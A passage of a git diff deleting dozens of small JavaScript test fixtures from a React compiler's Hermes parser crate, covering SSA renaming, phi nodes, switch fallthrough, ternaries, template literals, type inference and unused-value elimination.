--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary-with-mutation.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;
-  mut(x);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary.js
deleted file mode 100644
index 64872130b704..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-unconditional-ternary-with-mutation.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-unconditional-ternary-with-mutation.js
deleted file mode 100644
index 5877120405cf..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-unconditional-ternary-with-mutation.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  props.cond
-    ? ((x = {}), (x = []), x.push(props.foo))
-    : ((x = []), (x = []), x.push(props.bar));
-  mut(x);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-unconditional-ternary.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-unconditional-ternary.js
deleted file mode 100644
index 236d489e1dce..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-unconditional-ternary.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  props.cond
-    ? ((x = {}), (x = []), x.push(props.foo))
-    : ((x = []), (x = []), x.push(props.bar));
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-unconditional-with-mutation.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-unconditional-with-mutation.js
deleted file mode 100644
index f5d09dbf30d1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-unconditional-with-mutation.js
+++ /dev/null
@@ -1,15 +0,0 @@
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  if (props.cond) {
-    x = {};
-    x = [];
-    x.push(props.foo);
-  } else {
-    x = [];
-    x = [];
-    x.push(props.bar);
-  }
-  mut(x);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-via-destructuring-with-mutation.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-via-destructuring-with-mutation.js
deleted file mode 100644
index bb6e80749f52..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-via-destructuring-with-mutation.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function foo(props) {
-  let { x } = { x: [] };
-  x.push(props.bar);
-  if (props.cond) {
-    ({ x } = { x: {} });
-    ({ x } = { x: [] });
-    x.push(props.foo);
-  }
-  mut(x);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-via-destructuring.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-via-destructuring.js
deleted file mode 100644
index 05fe3bbdf9f5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-via-destructuring.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function foo(props) {
-  let { x } = { x: [] };
-  x.push(props.bar);
-  if (props.cond) {
-    ({ x } = { x: {} });
-    ({ x } = { x: [] });
-    x.push(props.foo);
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-with-mutation.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-with-mutation.js
deleted file mode 100644
index 30f71933538e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-with-mutation.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  if (props.cond) {
-    x = {};
-    x = [];
-    x.push(props.foo);
-  }
-  mut(x);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming.js
deleted file mode 100644
index 747199c62db2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  if (props.cond) {
-    x = {};
-    x = [];
-    x.push(props.foo);
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-return.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-return.js
deleted file mode 100644
index 289f0315acea..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-return.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function foo() {
-  let x = 1;
-  if (x === 1) {
-    x = 2;
-  }
-
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-shadowing.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-shadowing.js
deleted file mode 100644
index 5fd9bb75d2d6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-shadowing.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function log() {}
-
-function Foo(cond) {
-  let str = "";
-  if (cond) {
-    let str = "other test";
-    log(str);
-  } else {
-    str = "fallthrough test";
-  }
-  log(str);
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-sibling-phis.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-sibling-phis.js
deleted file mode 100644
index 72d80d0ad12c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-sibling-phis.js
+++ /dev/null
@@ -1,19 +0,0 @@
-function foo(a, b, c, d) {
-  let x = 0;
-  if (true) {
-    if (true) {
-      x = a;
-    } else {
-      x = b;
-    }
-    x;
-  } else {
-    if (true) {
-      x = c;
-    } else {
-      x = d;
-    }
-    x;
-  }
-  // note: intentionally no phi here so that there are two distinct phis above
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-simple-phi.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-simple-phi.js
deleted file mode 100644
index 20a8956907c8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-simple-phi.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function foo() {
-  let y = 2;
-
-  if (y > 1) {
-    y = 1;
-  } else {
-    y = 2;
-  }
-
-  let x = y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-simple.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-simple.js
deleted file mode 100644
index 93006f8a8c59..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-simple.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function foo() {
-  let x = 1;
-  let y = 2;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-single-if.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-single-if.js
deleted file mode 100644
index 338e04b08cd8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-single-if.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function foo() {
-  let x = 1;
-  let y = 2;
-
-  if (y) {
-    let z = x + y;
-  }
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-switch.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-switch.js
deleted file mode 100644
index 8c2c030496db..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-switch.js
+++ /dev/null
@@ -1,19 +0,0 @@
-function foo() {
-  let x = 1;
-
-  switch (x) {
-    case 1: {
-      x = x + 1;
-      break;
-    }
-    case 2: {
-      x = x + 2;
-      break;
-    }
-    default: {
-      x = x + 3;
-    }
-  }
-
-  let y = x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-throw.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-throw.js
deleted file mode 100644
index c2a382f9904b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-throw.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo() {
-  let x = 1;
-  if (x === 1) {
-    x = 2;
-  }
-  throw x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-while-no-reassign.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-while-no-reassign.js
deleted file mode 100644
index e0bd40a21e5b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-while-no-reassign.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function foo() {
-  let x = 1;
-  while (x < 10) {
-    x + 1;
-  }
-
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-while.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-while.js
deleted file mode 100644
index 47397ae648e3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-while.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function foo() {
-  let x = 1;
-  while (x < 10) {
-    x = x + 1;
-  }
-
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/store-via-call.js b/compiler/crates/react_hermes_parser/tests/fixtures/store-via-call.js
deleted file mode 100644
index 461e9e1656e1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/store-via-call.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function foo() {
-  const x = {};
-  const y = foo(x);
-  y.mutate();
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/store-via-new.js b/compiler/crates/react_hermes_parser/tests/fixtures/store-via-new.js
deleted file mode 100644
index a4032d7e06b0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/store-via-new.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Foo() {
-  const x = {};
-  const y = new Foo(x);
-  y.mutate();
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/switch-global-propertyload-case-test.js b/compiler/crates/react_hermes_parser/tests/fixtures/switch-global-propertyload-case-test.js
deleted file mode 100644
index 79e27070537f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/switch-global-propertyload-case-test.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Component(props) {
-  switch (props.value) {
-    case Global.Property: {
-      return true;
-    }
-    default: {
-      return false;
-    }
-  }
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/switch-with-fallthrough.js b/compiler/crates/react_hermes_parser/tests/fixtures/switch-with-fallthrough.js
deleted file mode 100644
index 234838a11506..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/switch-with-fallthrough.js
+++ /dev/null
@@ -1,27 +0,0 @@
-function foo(x) {
-  let y;
-  switch (x) {
-    case 0: {
-      y = 0;
-    }
-    case 1: {
-      y = 1;
-    }
-    case 2: {
-      break;
-    }
-    case 3: {
-      y = 3;
-      break;
-    }
-    case 4: {
-      y = 4;
-    }
-    case 5: {
-      y = 5;
-    }
-    default: {
-      y = 0;
-    }
-  }
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/tagged-template-in-hook.js b/compiler/crates/react_hermes_parser/tests/fixtures/tagged-template-in-hook.js
deleted file mode 100644
index 54e712f8e519..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/tagged-template-in-hook.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const user = useFragment(graphql`fragment on User { name }`, props.user);
-  return user.name;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/tagged-template-literal.js b/compiler/crates/react_hermes_parser/tests/fixtures/tagged-template-literal.js
deleted file mode 100644
index bfabc7ddbf03..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/tagged-template-literal.js
+++ /dev/null
@@ -1,16 +0,0 @@
-function component() {
-  let t = graphql`
-    fragment List_viewer on Viewer
-    @argumentDefinitions(
-      count: {
-        type: "Int"
-        defaultValue: 10
-        directives: ["@int_max_value(logged_in: 10)"]
-      }
-      cursor: { type: "ID" }
-    )
-
-  `;
-
-  return t;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/template-literal.js b/compiler/crates/react_hermes_parser/tests/fixtures/template-literal.js
deleted file mode 100644
index 512dfb7ff884..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/template-literal.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function componentA(props) {
-  let t = `hello ${props.a}, ${props.b}!`;
-  t += ``;
-  return t;
-}
-
-function componentB(props) {
-  let x = useFoo(`hello ${props.a}`);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/temporary-accessed-outside-scope.js b/compiler/crates/react_hermes_parser/tests/fixtures/temporary-accessed-outside-scope.js
deleted file mode 100644
index b73a016883f1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/temporary-accessed-outside-scope.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  const maybeMutable = new MaybeMutable();
-  let x = props;
-  return [x, maybeMutate(maybeMutable)];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/temporary-at-start-of-value-block.js b/compiler/crates/react_hermes_parser/tests/fixtures/temporary-at-start-of-value-block.js
deleted file mode 100644
index a88ea2680f15..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/temporary-at-start-of-value-block.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function component(props) {
-  // NOTE: the temporary for the leading space was previously dropped
-  const x = isMenuShown ? <Bar> {props.a ? props.b : props.c}</Bar> : null;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/temporary-property-load-accessed-outside-scope.js b/compiler/crates/react_hermes_parser/tests/fixtures/temporary-property-load-accessed-outside-scope.js
deleted file mode 100644
index 54eb92d54083..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/temporary-property-load-accessed-outside-scope.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  const maybeMutable = new MaybeMutable();
-  let x = props.value;
-  return [x, maybeMutate(maybeMutable)];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ternary-assignment-expression.js b/compiler/crates/react_hermes_parser/tests/fixtures/ternary-assignment-expression.js
deleted file mode 100644
index 4af307f67987..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ternary-assignment-expression.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function ternary(props) {
-  let x = 0;
-  const y = props.a ? (x = 1) : (x = 2);
-  return x + y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ternary-expression.js b/compiler/crates/react_hermes_parser/tests/fixtures/ternary-expression.js
deleted file mode 100644
index 97525553038b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ternary-expression.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function ternary(props) {
-  const a = props.a && props.b ? props.c || props.d : props.e ?? props.f;
-  const b = props.a ? (props.b && props.c ? props.d : props.e) : props.f;
-  return a ? b : null;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/timers.js b/compiler/crates/react_hermes_parser/tests/fixtures/timers.js
deleted file mode 100644
index eb226b89a877..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/timers.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Component(props) {
-  const start = performance.now();
-  const now = Date.now();
-  const time = performance.now() - start;
-  return (
-    <div>
-      rendering took {time} at {now}
-    </div>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/todo-function-expression-captures-value-later-frozen.js b/compiler/crates/react_hermes_parser/tests/fixtures/todo-function-expression-captures-value-later-frozen.js
deleted file mode 100644
index a5e39b4254f0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/todo-function-expression-captures-value-later-frozen.js
+++ /dev/null
@@ -1,14 +0,0 @@
-function Component(props) {
-  let x = {};
-  // onChange should be inferred as immutable, because the value
-  // it captures (`x`) is frozen by the time the function is referenced
-  const onChange = (e) => {
-    maybeMutate(x, e.target.value);
-  };
-  if (props.cond) {
-    <div>{x}</div>;
-  }
-  // ideally this call would be outside the memoization block for `x`
-  onChange();
-  return <Foo value={x} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/todo.unnecessary-lambda-memoization.js b/compiler/crates/react_hermes_parser/tests/fixtures/todo.unnecessary-lambda-memoization.js
deleted file mode 100644
index b6162c03bd6f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/todo.unnecessary-lambda-memoization.js
+++ /dev/null
@@ -1,14 +0,0 @@
-function Component(props) {
-  const data = useFreeze(); // assume this returns {items: Array<{...}>}
-  // In this call `data` and `data.items` have a read effect *and* the lambda itself
-  // is readonly (it doesn't capture ony mutable references). Further, we ca
-  // theoretically determine that the lambda doesn't need to be memoized, since
-  // data.items is an Array and Array.prototype.map does not capture its input (callback)
-  // in the return value.
-  // An observation is that even without knowing the exact type of `data`, if we know
-  // that it is a plain, readonly javascript object, then we can infer that any `.map()`
-  // calls *must* be Array.prototype.map (or else they are a runtime error), since no
-  // other builtin has a .map() function.
-  const items = data.items.map((item) => <Item item={item} />);
-  return <div>{items}</div>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/transitive-alias-fields.js b/compiler/crates/react_hermes_parser/tests/fixtures/transitive-alias-fields.js
deleted file mode 100644
index a06e29f867d3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/transitive-alias-fields.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function component() {
-  let x = {};
-  let p = {};
-  let q = {};
-  let y = {};
-
-  x.y = y;
-  p.y = x.y;
-  q.y = p.y;
-
-  mutate(q);
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/trivial.js b/compiler/crates/react_hermes_parser/tests/fixtures/trivial.js
deleted file mode 100644
index a6f5ce0a153b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/trivial.js
+++ /dev/null
@@ -1,3 +0,0 @@
-function foo(x) {
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/type-args-test-binary-operator.js b/compiler/crates/react_hermes_parser/tests/fixtures/type-args-test-binary-operator.js
deleted file mode 100644
index 33b3380f6546..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/type-args-test-binary-operator.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function component(a, b) {
-  if (a > b) {
-    let m = {};
-  }
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/type-binary-operator.js b/compiler/crates/react_hermes_parser/tests/fixtures/type-binary-operator.js
deleted file mode 100644
index f04edcef6ccf..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/type-binary-operator.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function component() {
-  let a = some();
-  let b = someOther();
-  if (a > b) {
-    let m = {};
-  }
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/type-cast-expression.flow.js b/compiler/crates/react_hermes_parser/tests/fixtures/type-cast-expression.flow.js
deleted file mode 100644
index 967318f7d967..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/type-cast-expression.flow.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// @flow
-type Foo = {bar: string};
-function Component(props) {
-    const x = {bar: props.bar};
-    const y = (x: Foo);
-    y.bar = 'hello';
-    const z = (y: Foo);
-    return z;
-}
\ No newline at end of file
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/type-field-load.js b/compiler/crates/react_hermes_parser/tests/fixtures/type-field-load.js
deleted file mode 100644
index 673f8846fb4b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/type-field-load.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function component() {
-  let x = { t: 1 };
-  let p = x.t;
-  return p;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/type-test-field-load-binary-op.js b/compiler/crates/react_hermes_parser/tests/fixtures/type-test-field-load-binary-op.js
deleted file mode 100644
index eb8384313c42..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/type-test-field-load-binary-op.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function component() {
-  let x = { u: makeSomePrimitive(), v: makeSomePrimitive() };
-  let u = x.u;
-  let v = x.v;
-  if (u > v) {
-  }
-
-  let y = x.u;
-  let z = x.v;
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/type-test-field-store.js b/compiler/crates/react_hermes_parser/tests/fixtures/type-test-field-store.js
deleted file mode 100644
index f406104c41ef..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/type-test-field-store.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function component() {
-  let x = {};
-  let q = {};
-  x.t = q;
-  let z = x.t;
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/type-test-polymorphic.js b/compiler/crates/react_hermes_parser/tests/fixtures/type-test-polymorphic.js
deleted file mode 100644
index 3246ea5693aa..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/type-test-polymorphic.js
+++ /dev/null
@@ -1,14 +0,0 @@
-function component() {
-  let p = makePrimitive();
-  p + p; // infer p as primitive
-  let o = {};
-
-  let x = {};
-
-  x.t = p; // infer x.t as primitive
-  let z = x.t;
-
-  x.t = o; // generalize x.t
-  let y = x.t;
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/type-test-primitive.js b/compiler/crates/react_hermes_parser/tests/fixtures/type-test-primitive.js
deleted file mode 100644
index fca923b2559b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/type-test-primitive.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function component() {
-  let x = 1;
-  let y = 2;
-
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/type-test-return-type-inference.js b/compiler/crates/react_hermes_parser/tests/fixtures/type-test-return-type-inference.js
deleted file mode 100644
index 1b07b987f352..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/type-test-return-type-inference.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function component() {
-  let x = foo();
-  let y = foo();
-  if (x > y) {
-    let z = {};
-  }
-
-  let z = foo();
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/unary-expr.js b/compiler/crates/react_hermes_parser/tests/fixtures/unary-expr.js
deleted file mode 100644
index d93dd3ab0a82..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/unary-expr.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function component(a) {
-  let t = { t: a };
-  let z = +t.t;
-  let q = -t.t;
-  let p = void t.t;
-  let n = delete t.t;
-  let m = !t.t;
-  let e = ~t.t;
-  let f = typeof t.t;
-  return { z, p, q, n, m, e, f };
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/unconditional-break-label.js b/compiler/crates/react_hermes_parser/tests/fixtures/unconditional-break-label.js
deleted file mode 100644
index 26a932284cdf..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/unconditional-break-label.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function foo(a) {
-  let x = 0;
-  bar: {
-    x = 1;
-    break bar;
-  }
-  return a + x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/uninitialized-declaration-in-reactive-scope.js b/compiler/crates/react_hermes_parser/tests/fixtures/uninitialized-declaration-in-reactive-scope.js
deleted file mode 100644
index 720542611f68..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/uninitialized-declaration-in-reactive-scope.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  let x = mutate();
-  let y;
-  foo(x);
-  return [y, x];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/unknown-hooks-do-not-assert.js b/compiler/crates/react_hermes_parser/tests/fixtures/unknown-hooks-do-not-assert.js
deleted file mode 100644
index 42b9d15beb4d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/unknown-hooks-do-not-assert.js
+++ /dev/null
@@ -1,11 +0,0 @@
-// Forget currently bails out when it detects a potential mutation (Effect.Mutate)
-// to an immutable value. This should not apply to unknown / untyped hooks.
-
-// Default feature flags:
-// enableAssumeHooksFollowRulesOfReact=false
-// enableTreatHooksAsFunctions=true
-function Component(props) {
-  const x = useUnknownHook1(props);
-  const y = useUnknownHook2(x);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/unused-array-middle-element.js b/compiler/crates/react_hermes_parser/tests/fixtures/unused-array-middle-element.js
deleted file mode 100644
index 7a49cfd48fe4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/unused-array-middle-element.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function foo(props) {
-  const [x, unused, y] = props.a;
-  return x + y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/unused-array-rest-element.js b/compiler/crates/react_hermes_parser/tests/fixtures/unused-array-rest-element.js
deleted file mode 100644
index 1cc99579aaef..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/unused-array-rest-element.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function foo(props) {
-  const [x, y, ...z] = props.a;
-  return x + y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/unused-conditional.js b/compiler/crates/react_hermes_parser/tests/fixtures/unused-conditional.js
deleted file mode 100644
index 93197e33f7db..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/unused-conditional.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  let x = 0;
-  (x = 1) && (x = 2);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/unused-logical-assigned-to-variable.js b/compiler/crates/react_hermes_parser/tests/fixtures/unused-logical-assigned-to-variable.js
deleted file mode 100644
index 509d7069cd4e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/unused-logical-assigned-to-variable.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Component(props) {
-  // unused!
-  const obj = makeObject();
-  const obj2 = makeObject();
-  const _ = (obj.a ?? obj2.b) || props.c;
-  return null;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/unused-logical.js b/compiler/crates/react_hermes_parser/tests/fixtures/unused-logical.js
deleted file mode 100644
index e4639a161183..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/unused-logical.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  let x = 0;
-  props.cond ? (x = 1) : (x = 2);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/unused-object-element-with-rest.js b/compiler/crates/react_hermes_parser/tests/fixtures/unused-object-element-with-rest.js
deleted file mode 100644
index d5022d8b7732..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/unused-object-element-with-rest.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Foo(props) {
-  // can't remove `unused` since it affects which properties are copied into `rest`
-  const { unused, ...rest } = props.a;
-  return rest;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/unused-object-element.js b/compiler/crates/react_hermes_parser/tests/fixtures/unused-object-element.js
deleted file mode 100644
index f6bfe1f40f9e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/unused-object-element.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Foo(props) {
-  const { x, y, ...z } = props.a;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/unused-optional-method-assigned-to-variable.js b/compiler/crates/react_hermes_parser/tests/fixtures/unused-optional-method-assigned-to-variable.js
deleted file mode 100644
index 250da966e120..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/unused-optional-method-assigned-to-variable.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  // unused!
-  const obj = makeObject();
-  const _ = obj.a?.b?.(props.c);
-  return null;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/unused-ternary-assigned-to-variable.js b/compiler/crates/react_hermes_parser/tests/fixtures/unused-ternary-assigned-to-variable.js
deleted file mode 100644
index 957a723f57f2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/unused-ternary-assigned-to-variable.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  // unused!
-  const obj = makeObject();
-  const _ = obj.a ? props.b : props.c;
-  return null;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/update-expression.js b/compiler/crates/react_hermes_parser/tests/fixtures/update-expression.js
deleted file mode 100644
index 7ff8299b984d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/update-expression.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function foo(props) {
-  let x = props.x;
-  let y = x++;
-  let z = x--;
-  return { x, y, z };
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/use-callback-simple.js b/compiler/crates/react_hermes_parser/tests/fixtures/use-callback-simple.js
deleted file mode 100644
index 132fcb30a2b4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/use-callback-simple.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function component() {
-  const [count, setCount] = useState(0);
-  const increment = useCallback(() => setCount(count + 1));
-
-  return <Foo onClick={increment}></Foo>;
-}
